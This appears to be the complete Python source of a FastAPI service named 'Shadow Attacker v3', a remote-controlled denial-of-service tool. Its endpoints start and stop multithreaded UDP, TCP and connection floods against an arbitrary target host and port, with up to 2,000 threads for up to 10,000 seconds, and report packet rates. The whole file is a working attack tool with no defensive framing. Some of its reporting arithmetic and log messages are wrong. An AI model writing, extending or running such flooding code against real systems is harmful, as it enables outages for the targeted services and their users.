|
|
|
|
|
|
|
|
|
|
|
import random |
|
|
import socket |
|
|
import threading |
|
|
import time |
|
|
from collections import deque |
|
|
from typing import Dict, Optional |
|
|
|
|
|
import uvicorn |
|
|
from fastapi import FastAPI, HTTPException |
|
|
from pydantic import BaseModel |
|
|
|
|
|
|
|
|
import logging |
|
|
logging.basicConfig(level=logging.INFO, format="%(message)s") |
|
|
log = logging.getLogger() |
|
|
|
|
|
app = FastAPI(title="Shadow Attacker v3") |
|
|
|
|
|
|
|
|
stop_events: Dict[str, threading.Event] = {} |
|
|
counters: Dict[str, int] = {} |
|
|
counters_lock = threading.Lock() |
|
|
total_packets = 0 |
|
|
log_buffer: deque[str] = deque(maxlen=500) |
|
|
attack_end_times: Dict[str, float] = {} |
|
|
|
|
|
|
|
|
last_time = time.time() |
|
|
last_total = 0 |
|
|
|
|
|
def _log(msg: str): |
|
|
ts = time.strftime("%H:%M:%S") |
|
|
log.info(f"{ts} {msg}") |
|
|
log_buffer.append(f"{ts} {msg}") |
|
|
|
|
|
|
|
|
class StartRequest(BaseModel): |
|
|
target: str |
|
|
port: int = 80 |
|
|
threads: int = 1000 |
|
|
duration: int = 300 |
|
|
attack_type: str = "udp" |
|
|
|
|
|
class StatusResponse(BaseModel): |
|
|
running: bool |
|
|
attack_id: Optional[str] |
|
|
total_packets: int |
|
|
pps: float |
|
|
threads: int |
|
|
duration: int |
|
|
elapsed: float |
|
|
remaining: float |
|
|
counters: Dict[str, int] |
|
|
logs: list[str] |
|
|
|
|
|
|
|
|
def create_udp_socket(): |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
|
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) |
|
|
return sock |
|
|
|
|
|
def udp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event): |
|
|
global total_packets |
|
|
payload = random._urandom(1024) |
|
|
sock = create_udp_socket() |
|
|
addr = (target, port) |
|
|
try: |
|
|
while not stop_event.is_set(): |
|
|
sock.sendto(payload, addr) |
|
|
with counters_lock: |
|
|
counters[attack_id] = counters.get(attack_id, 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
def tcp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event): |
|
|
global total_packets |
|
|
payload = random._urandom(1024) |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.settimeout(0.5) |
|
|
sock.connect((target, port)) |
|
|
while not stop_event.is_set(): |
|
|
sock.send(payload) |
|
|
with counters_lock: |
|
|
counters[attack_id] = counters.get(attack_id, 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
def syn_flood(attack_id: str, target: str, port: int, stop_event: threading.Event): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.settimeout(0.01) |
|
|
sock.connect_ex((target, port)) |
|
|
with counters_lock: |
|
|
counters[attack_id] = counters.get(attack_id, 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
|
|
|
@app.post("/start") |
|
|
def start_attack(req: StartRequest): |
|
|
if any(not ev.is_set() for ev in stop_events.values()): |
|
|
raise HTTPException(400, "Attack already in progress") |
|
|
|
|
|
|
|
|
req.threads = min(max(req.threads, 1), 2000) |
|
|
req.duration = min(max(req.duration, 1), 10000) |
|
|
|
|
|
attack_id = f"{req.target}_{int(time.time())}" |
|
|
stop_ev = threading.Event() |
|
|
stop_events[attack_id] = stop_ev |
|
|
counters[attack_id] = 0 |
|
|
attack_end_times[attack_id] = time.time() + req.duration |
|
|
|
|
|
worker = { |
|
|
"udp": udp_flood, |
|
|
"tcp": tcp_flood, |
|
|
"syn": syn_flood |
|
|
}.get(req.attack_type, udp_flood) |
|
|
|
|
|
|
|
|
threads = [] |
|
|
for _ in range(req.threads): |
|
|
t = threading.Thread(target=worker, args=(attack_id, req.target, req.port, stop_ev), daemon=True) |
|
|
t.start() |
|
|
threads.append(t) |
|
|
|
|
|
|
|
|
def auto_stop(): |
|
|
time.sleep(req.duration) |
|
|
if attack_id in stop_events: |
|
|
stop_events[attack_id].set() |
|
|
_log(f"TIMEOUT: Attack {attack_id} ended after {req.duration}s") |
|
|
cleanup(attack_id) |
|
|
|
|
|
threading.Thread(target=auto_stop, daemon=True).start() |
|
|
|
|
|
_log(f"UDP FLOOD → {req.target}:{req.port} ({req.threads} threads, {req.duration}s)") |
|
|
return {"message": "Attack launched", "attack_id": attack_id, "duration": req.duration} |
|
|
|
|
|
@app.post("/stop") |
|
|
def stop_attack(attack_id: Optional[str] = None): |
|
|
if attack_id and attack_id in stop_events: |
|
|
stop_events[attack_id].set() |
|
|
cleanup(attack_id) |
|
|
_log(f"STOPPED {attack_id}") |
|
|
else: |
|
|
for aid in list(stop_events): |
|
|
stop_events[aid].set() |
|
|
cleanup(aid) |
|
|
_log("STOPPED ALL ATTACKS") |
|
|
return {"message": "Stopped"} |
|
|
|
|
|
def cleanup(aid: str): |
|
|
stop_events.pop(aid, None) |
|
|
counters.pop(aid, None) |
|
|
attack_end_times.pop(aid, None) |
|
|
|
|
|
@app.get("/status", response_model=StatusResponse) |
|
|
def status(attack_id: Optional[str] = None): |
|
|
global last_time, last_total |
|
|
|
|
|
with counters_lock: |
|
|
cnt = dict(counters) |
|
|
tot = total_packets |
|
|
|
|
|
now = time.time() |
|
|
elapsed_global = now - last_time |
|
|
pps = (tot - last_total) / elapsed_global if elapsed_global > 0 else 0 |
|
|
last_time, last_total = now, tot |
|
|
|
|
|
active = [aid for aid, ev in stop_events.items() if not ev.is_set()] |
|
|
running = bool(active) |
|
|
aid = attack_id if attack_id in stop_events else (active[0] if active else None) |
|
|
|
|
|
if aid: |
|
|
end = attack_end_times.get(aid, now) |
|
|
elapsed = now - (end - (end - now)) |
|
|
remaining = max(0, end - now) |
|
|
threads = sum(1 for t in threading.enumerate() if t.name.startswith("Thread")) |
|
|
else: |
|
|
elapsed = remaining = threads = 0 |
|
|
|
|
|
return StatusResponse( |
|
|
running=running, |
|
|
attack_id=aid, |
|
|
total_packets=tot, |
|
|
pps=round(pps, 1), |
|
|
threads=threads, |
|
|
duration=int(attack_end_times.get(aid, 0) - (attack_end_times.get(aid, 0) - now)) if aid else 0, |
|
|
elapsed=round(elapsed, 1), |
|
|
remaining=round(remaining, 1), |
|
|
counters={aid: cnt.get(aid, 0)} if aid else cnt, |
|
|
logs=list(log_buffer) |
|
|
) |
|
|
|
|
|
|
|
|
@app.get("/") |
|
|
def root(): |
|
|
return {"message": "Shadow Attacker v3 - /docs for API"} |
|
|
|
|
|
|
|
|
if __name__ == "__main__": |
|
|
uvicorn.run( |
|
|
"main:app", |
|
|
host="0.0.0.0", |
|
|
port=8000, |
|
|
workers=1, |
|
|
log_level="warning" |
|
|
) |